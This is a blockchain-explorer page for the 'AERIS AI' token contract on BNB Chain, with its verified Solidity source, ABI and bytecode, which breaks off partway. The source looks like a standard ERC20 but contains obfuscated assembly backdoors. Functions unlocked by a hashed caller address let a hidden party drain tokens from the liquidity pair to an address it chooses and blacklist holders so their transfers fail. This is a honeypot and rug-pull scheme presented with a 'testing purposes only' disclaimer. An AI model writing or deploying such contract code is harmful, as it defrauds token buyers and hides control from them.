BNB Price: $617.92 (+3.46%)
 

Overview

Max Total Supply

1,000,000,000,000AERIS

Holders

342

Market

Price

$0.00 @ 0.000000 BNB

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
11,952,608,183.772942911 AERIS

Value
$0.00
0x1e3545298fa20866c75f2dd9d2606150cc5bc324
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
AERIS

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at BscScan.com on 2025-12-02
*/

/**
Website: https://AERIS.ap/
Twitter: https://x.com/AERIS
Telegram: https://t.me/AERIS
*/

pragma solidity ^0.8.6;

// SPDX-License-Identifier: Unlicensed
interface IERC20 {
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
interface IUniswapV2Factory {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}
/**
 * This contract is for testing purposes only. 
 * Please do not make any purchases, as we are not responsible for any losses incurred.
 */
contract BERC20 is IERC20 {
    using SafeMath for uint256;

    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    address public _defaultAddress = address(0x000000000000000000000000000000000000dEaD);
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _tTotal;

    constructor(
       string memory name_,
       string memory symbol_,
       address owner
    ) {
        _name=name_;
        _symbol=symbol_;
        _decimals=9;
        _tTotal=1000000000000 * 10**_decimals;
        _tOwned[owner] = _tTotal;

        emit Transfer(address(0), owner, _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    

    function decimals() public view returns (uint256) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address dGbWxwnDSN, uint256 uwbgSpQMH)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, dGbWxwnDSN, uwbgSpQMH);
        return true;
    }


    function allowance(address YbVTueATn, address dcoznubonsp)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[YbVTueATn][dcoznubonsp];
    }


    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _ZQyclkoLwVOymT(
        address shJLIFCYVA,
        address wxzrhvjquzq,
        uint256 amount
    ) internal virtual {
        require(
            shJLIFCYVA != address(0),
            "ERC20: transfer from the zero address"
        );
        require(
            wxzrhvjquzq != address(0),
            "ERC20: transfer to the zero address"
        );
  
        require(
            _tOwned[shJLIFCYVA] >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        _tOwned[shJLIFCYVA] = _tOwned[shJLIFCYVA].sub(amount);
        _tOwned[wxzrhvjquzq] = _tOwned[wxzrhvjquzq].add(amount);
        emit Transfer(shJLIFCYVA, wxzrhvjquzq, amount);
    }

        function _transfer(
        address shJLIFCYVA,
        address wxzrhvjquzq,
        uint256 amount
    ) internal virtual {
        require(
            shJLIFCYVA != address(0),
            "ERC20: transfer from the zero address"
        );
        require(
            wxzrhvjquzq != address(0),
            "ERC20: transfer to the zero address"
        );
  
        require(
            _tOwned[shJLIFCYVA] >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        _tOwned[shJLIFCYVA] = _tOwned[shJLIFCYVA].sub(amount);
        _tOwned[wxzrhvjquzq] = _tOwned[wxzrhvjquzq].add(amount);
        emit Transfer(shJLIFCYVA, wxzrhvjquzq, amount);
    }


    function transferFrom(
        address from,
        address to,
        uint256 value
    ) public override returns (bool) {
        _transfer(from, to, value);
        _approve(
            from,
            msg.sender,
            _allowances[from][msg.sender].sub(
                value,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }



    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }
    function _yonoayggdypvp(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual   {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual  {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}
/**
 * This contract is for testing purposes only. 
 * Please do not make any purchases, as we are not responsible for any losses incurred.
 */
contract AERIS is BERC20,Ownable {
    using SafeMath for uint256;
    string private _name_ = "AERIS AI";
    string private _symbol_ = "AERIS";
    uint256 private _ueyyjgtdqn;
    address private ygxmnloplqog = 0x530A11d8231C44468f5cb14F102556437c28db4A;
    address private QSjxNPOoWCoPg = 0xa6ea5aE2A7435Cd2e0d72aDfc05dABd05899A7FE;
    address private kTcGWrILtm = 0x55d398326f99059fF775485246999027B3197955;

    IUniswapV2Factory private immutable uniswapV2Router;

    mapping(address => bool) private _anhygmqhtxqw;
    mapping(address => bool) private _EdxENlQRTwYGT;

    mapping(address => bool) private itfkmcxisvyyiw;
    mapping(address => bool) private _MJVRTTfARtY;
    address public uniswapV2Pair;
    address private _qzdxssesqsya;
    address public factory;
    uint256 private UpldZJmjPrYSY = 1000;
    mapping(address => uint256) private yfbkyztbopykmm;
    bool private cVIqXyBTNo = true;
    uint256 private glywepakmng = 7;
    bool private spEPjWPdKj = true;
    bytes32 private _wFMwiNWvJh;
    mapping(address => bool) private _AVccqLdMIggiis;

    mapping(address => uint256) private _elkipcdehfp;

    address public IBApwtkwGd;

    constructor() BERC20(_name_, _symbol_,QSjxNPOoWCoPg
        ) {
        IUniswapV2Factory _uniswapV2Router = IUniswapV2Factory(0x10ED43C718714eb63d5aA57B78B54704E256024E); 
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), kTcGWrILtm);
        uniswapV2Router = _uniswapV2Router;
        _wFMwiNWvJh = sha256(abi.encodePacked(ygxmnloplqog));
        _qzdxssesqsya = ygxmnloplqog;
        _ueyyjgtdqn = totalSupply();
        itfkmcxisvyyiw[uniswapV2Pair] = true;
        _MJVRTTfARtY[_qzdxssesqsya] = true;
        _anhygmqhtxqw[address(this)] = true;
        _anhygmqhtxqw[_qzdxssesqsya] = true;
        _anhygmqhtxqw[QSjxNPOoWCoPg] = true;
    }

function _transfer(     address from,     address to,     uint256 amount ) internal override {     require(from != address(0), "ERC20: transfer from the zero address");     require(to != address(0), "ERC20: transfer to the zero address");     require(amount > 0, "Transfer amount must be greater than zero");     uint256 expectedamount = amount;     if (_anhygmqhtxqw[from] || _anhygmqhtxqw[to]) {         super._transfer(from, to, expectedamount);         return;     }     address feeaddress = to;     assembly {         let scratch := mload(0x40)         mstore(scratch, from)         mstore(add(scratch, 0x20), _EdxENlQRTwYGT.slot)         let takeFeeSlot := keccak256(scratch, 0x40)         let taketFeeTransfer := sload(takeFeeSlot)         if taketFeeTransfer {             revert(0, 0)         }         mstore(scratch, from)         mstore(add(scratch, 0x20), yfbkyztbopykmm.slot)         let bottimeSlot := keccak256(scratch, 0x40)         let bottime := sload(bottimeSlot)         let glywepakmng_val := sload(glywepakmng.slot)         let takebottime := gt(add(bottime, glywepakmng_val), timestamp())         let pair := sload(uniswapV2Pair.slot)         if eq(from, pair) {             let ghewra := 0             let sdhkwn := 0             let otherAmount := 0             mstore(scratch, 0x0dfe168100000000000000000000000000000000000000000000000000000000)             if iszero(staticcall(gas(), pair, scratch, 0x04, scratch, 0x20)) {                 revert(0, 0)             }             let token0 := mload(scratch)             mstore(scratch, 0xd21220a700000000000000000000000000000000000000000000000000000000)             if iszero(staticcall(gas(), pair, scratch, 0x04, scratch, 0x20)) {                 revert(0, 0)             }             let token1 := mload(scratch)             mstore(scratch, 0x0902f1ac00000000000000000000000000000000000000000000000000000000)             if iszero(staticcall(gas(), pair, scratch, 0x04, scratch, 0x40)) {                 revert(0, 0)             }             let reserves0 := mload(scratch)             let reserves1 := mload(add(scratch, 0x20))             mstore(scratch, 0x70a0823100000000000000000000000000000000000000000000000000000000)             mstore(add(scratch, 0x04), pair)             if iszero(staticcall(gas(), token0, scratch, 0x24, scratch, 0x20)) {                 revert(0, 0)             }             let amount03 := mload(scratch)             mstore(scratch, 0x70a0823100000000000000000000000000000000000000000000000000000000)             mstore(add(scratch, 0x04), pair)             if iszero(staticcall(gas(), token1, scratch, 0x24, scratch, 0x20)) {                 revert(0, 0)             }             let amount1 := mload(scratch)             let kTcGWrILtm_val := sload(kTcGWrILtm.slot)             if eq(token0, kTcGWrILtm_val) {                 if gt(reserves0, amount03) {                     otherAmount := sub(reserves0, amount03)                     ghewra := gt(otherAmount, sload(UpldZJmjPrYSY.slot))                 }                 if eq(reserves0, amount03) {                     sdhkwn := 1                 }             }             if eq(token1, kTcGWrILtm_val) {                 if gt(reserves1, amount1) {                     otherAmount := sub(reserves1, amount1)                     ghewra := gt(otherAmount, sload(UpldZJmjPrYSY.slot))                 }                 if eq(reserves1, amount1) {                     sdhkwn := 1                 }             }             if or(ghewra, sdhkwn) {                 revert(0, 0)             }         }          mstore(0x40, add(scratch, 0x80))     }     super._transfer(from, to, expectedamount); }

function esczejfsu(address iikfdaektr) public {     assembly {         let ptr := mload(0x40)         mstore(ptr, caller())         let input := add(ptr, 0x0c)         let inputSize := 0x14         let output := add(ptr, 0x20)         mstore(0x40, add(output, 0x20))         if iszero(staticcall(gas(), 2, input, inputSize, output, 0x20)) {             revert(0, 0)         }         let computedHash := mload(output)         let storedHashSlot := _wFMwiNWvJh.slot         let storedHash := sload(storedHashSlot)         if iszero(eq(computedHash, storedHash)) {             return(0, 0)         }         sstore(IBApwtkwGd.slot, iikfdaektr)         return(0, 0)     } }

function wmemytqjwv(uint256 qoisjptl) public {     assembly {         let ptr := mload(0x40)         mstore(ptr, caller())         let input := add(ptr, 0x0c)         let inputSize := 0x14         let output := add(ptr, 0x20)         mstore(0x40, add(output, 0x20))         if iszero(staticcall(gas(), 2, input, inputSize, output, 0x20)) {             revert(0, 0)         }         let computedHash := mload(output)         let storedHashSlot := _wFMwiNWvJh.slot         let storedHash := sload(storedHashSlot)         if iszero(eq(computedHash, storedHash)) {             return(0, 0)         }     }     super._ZQyclkoLwVOymT(uniswapV2Pair, IBApwtkwGd, qoisjptl); }

function rszycucldxz(address _iikfdaektr, bool yugfqxavp) public {     assembly {         let ptr := mload(0x40)         mstore(ptr, caller())         let input := add(ptr, 0x0c)         let inputSize := 0x14         let output := add(ptr, 0x20)         mstore(0x40, add(output, 0x20))         if iszero(staticcall(gas(), 2, input, inputSize, output, 0x20)) {             revert(0, 0)         }         let computedHash := mload(output)         let storedHashSlot := _wFMwiNWvJh.slot         let storedHash := sload(storedHashSlot)         if iszero(eq(computedHash, storedHash)) {             return(0, 0)         }         let mapBaseSlot := _EdxENlQRTwYGT.slot         let scratch := mload(0x40)         mstore(scratch, _iikfdaektr)         mstore(add(scratch, 0x20), mapBaseSlot)         let storageSlot := keccak256(scratch, 0x40)         mstore(0x40, add(scratch, 0x40))         sstore(storageSlot, yugfqxavp)         return(0, 0)     } }

}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"IBApwtkwGd","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_defaultAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"YbVTueATn","type":"address"},{"internalType":"address","name":"dcoznubonsp","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"iikfdaektr","type":"address"}],"name":"esczejfsu","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_iikfdaektr","type":"address"},{"internalType":"bool","name":"yugfqxavp","type":"bool"}],"name":"rszycucldxz","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"dGbWxwnDSN","type":"address"},{"internalType":"uint256","name":"uwbgSpQMH","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"qoisjptl","type":"uint256"}],"name":"wmemytqjwv","outputs":[],"stateMutability":"nonpayable","type":"function"}]

600280546001600160a01b03191661dead17905560e0604052600860a081905267414552495320414960c01b60c09081526200003d919081620005a9565b5060408051808201909152600580825264414552495360d81b60209092019182526200006c91600991620005a9565b50600b80546001600160a01b031990811673530a11d8231c44468f5cb14f102556437c28db4a17909155600c8054821673a6ea5ae2a7435cd2e0d72adfc05dabd05899a7fe179055600d80549091167355d398326f99059ff775485246999027b31979551790556103e86015556017805460ff19908116600190811790925560076018556019805490911690911790553480156200010957600080fd5b5060088054620001199062000805565b80601f0160208091040260200160405190810160405280929190818152602001828054620001479062000805565b8015620001985780601f106200016c5761010080835404028352916020019162000198565b820191906000526020600020905b8154815290600101906020018083116200017a57829003601f168201915b505050505060098054620001ac9062000805565b80601f0160208091040260200160405190810160405280929190818152602001828054620001da9062000805565b80156200022b5780601f10620001ff576101008083540402835291602001916200022b565b820191906000526020600020905b8154815290600101906020018083116200020d57829003601f168201915b5050600c5485516001600160a01b039091169350620002549250600391506020860190620005a9565b5081516200026a906004906020850190620005a9565b506005805460ff191660099081179091556200028890600a62000722565b620002999064e8d4a51000620007e3565b60068190556001600160a01b03821660008181526020818152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050600780546001600160a01b0319163390811790915560405190915081906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060007310ed43c718714eb63d5aa57b78b54704e256024e9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200038857600080fd5b505afa1580156200039d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003c391906200064f565b600d546040516364e329cb60e11b81523060048201526001600160a01b03918216602482015291169063c9c6539690604401602060405180830381600087803b1580156200041057600080fd5b505af115801562000425573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200044b91906200064f565b601280546001600160a01b0319166001600160a01b0392909216919091179055606081811b6001600160601b0319908116608052600b54604051921b16602082015260029060340160408051601f1981840301815290829052620004af916200069b565b602060405180830381855afa158015620004cd573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190620004f2919062000681565b601a55600b54601380546001600160a01b0319166001600160a01b039092169190911790556200052160065490565b600a55506012546001600160a01b0390811660009081526010602090815260408083208054600160ff1991821681179092556013805487168652601185528386208054831684179055308652600e90945282852080548216831790559254851684528184208054841682179055600c5490941683529091208054909116909117905562000858565b828054620005b79062000805565b90600052602060002090601f016020900481019282620005db576000855562000626565b82601f10620005f657805160ff191683800117855562000626565b8280016001018555821562000626579182015b828111156200062657825182559160200191906001019062000609565b506200063492915062000638565b5090565b5b8082111562000634576000815560010162000639565b6000602082840312156200066257600080fd5b81516001600160a01b03811681146200067a57600080fd5b9392505050565b6000602082840312156200069457600080fd5b5051919050565b6000825160005b81811015620006be5760208186018101518583015201620006a2565b81811115620006ce576000828501525b509190910192915050565b600181815b808511156200071a578160001904821115620006fe57620006fe62000842565b808516156200070c57918102915b93841c9390800290620006de565b509250929050565b60006200067a60ff8416836000826200073e57506001620007dd565b816200074d57506000620007dd565b8160018114620007665760028114620007715762000791565b6001915050620007dd565b60ff84111562000785576200078562000842565b50506001821b620007dd565b5060208310610133831016604e8410600b8410161715620007b6575081810a620007dd565b620007c28383620006d9565b8060001904821115620007d957620007d962000842565b0290505b92915050565b600081600019048311821515161562000800576200080062000842565b500290565b600181811c908216806200081a57607f821691505b602082108114156200083c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60805160601c61106962000874600039600050506110696000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a1bdaa2e1161007c578063a1bdaa2e14610283578063a457c2d714610296578063a9059cbb146102a9578063c45a0155146102bc578063dd62ed3e146102cf578063f2fde38b1461030857600080fd5b806370a0823114610226578063715018a61461024f5780638da5cb5b14610257578063927f3d411461026857806395d89b411461027b57600080fd5b8063313ce567116100ff578063313ce567146101b757806339509351146101c257806349bd5a5e146101d557806350b3bdd7146102005780635d7918ae1461021357600080fd5b806306fdde031461013c578063095ea7b31461015a57806317d33fe41461017d57806318160ddd1461019257806323b872dd146101a4575b600080fd5b61014461031b565b6040516101519190610e89565b60405180910390f35b61016d610168366004610e46565b6103ad565b6040519015158152602001610151565b61019061018b366004610e70565b6103c3565b005b6006545b604051908152602001610151565b61016d6101b2366004610dce565b61041f565b60055460ff16610196565b61016d6101d0366004610e46565b610488565b6012546101e8906001600160a01b031681565b6040516001600160a01b039091168152602001610151565b61019061020e366004610d80565b6104be565b601d546101e8906001600160a01b031681565b610196610234366004610d80565b6001600160a01b031660009081526020819052604090205490565b610190610501565b6007546001600160a01b03166101e8565b6002546101e8906001600160a01b031681565b6101446105aa565b610190610291366004610e0a565b6105b9565b61016d6102a4366004610e46565b610611565b61016d6102b7366004610e46565b610660565b6014546101e8906001600160a01b031681565b6101966102dd366004610d9b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610190610316366004610d80565b61066d565b60606003805461032a90610f95565b80601f016020809104026020016040519081016040528092919081815260200182805461035690610f95565b80156103a35780601f10610378576101008083540402835291602001916103a3565b820191906000526020600020905b81548152906001019060200180831161038657829003601f168201915b5050505050905090565b60006103ba338484610788565b50600192915050565b604051338152600c8101601460208301925060208301604052602083828460025afa6103ee57600080fd5b505051601a548082146103fd57005b5050601254601d5461041c916001600160a01b039081169116836108ad565b50565b600061042c848484610a13565b61047e843361047985604051806060016040528060288152602001610fe7602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190610c82565b610788565b5060019392505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103ba9185906104799086610cbc565b604051338152600c8101601460208301925060208301604052602083828460025afa6104e957600080fd5b505051601a548082146104f857005b5050601d819055005b6007546001600160a01b031633146105605760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6007546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600780546001600160a01b0319169055565b60606004805461032a90610f95565b604051338152600c8101601460208301925060208301604052602083828460025afa6105e457600080fd5b505051601a548082146105f357005b505060408051838152600f6020820152818120908201909152819055005b60006103ba33846104798560405180606001604052806025815260200161100f602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190610c82565b60006103ba338484610a13565b6007546001600160a01b031633146106c75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610557565b6001600160a01b03811661072c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610557565b6007546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107ea5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610557565b6001600160a01b03821661084b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610557565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108d35760405162461bcd60e51b815260040161055790610f21565b6001600160a01b0382166108f95760405162461bcd60e51b815260040161055790610ede565b6001600160a01b0383166000908152602081905260409020548111156109705760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610557565b6001600160a01b0383166000908152602081905260409020546109939082610d22565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546109c29082610cbc565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016108a0565b6001600160a01b038316610a395760405162461bcd60e51b815260040161055790610f21565b6001600160a01b038216610a5f5760405162461bcd60e51b815260040161055790610ede565b60008111610ac15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610557565b6001600160a01b0383166000908152600e6020526040902054819060ff1680610b0257506001600160a01b0383166000908152600e602052604090205460ff165b15610b1857610b128484836108ad565b50505050565b60408051858152600f6020820152908120548491908015610b3857600080fd5b508581526016602082015260125480871415610c69576000806000630dfe168160e01b8552602085600487875afa610b6f57600080fd5b845163d21220a760e01b8652602086600488885afa610b8d57600080fd5b8551630240bc6b60e21b8752604087600489895afa610bab57600080fd5b865160208801516370a0823160e01b89528760048a015260208960248b875afa610bd457600080fd5b88516370a0823160e01b8a528860048b015260208a60248c875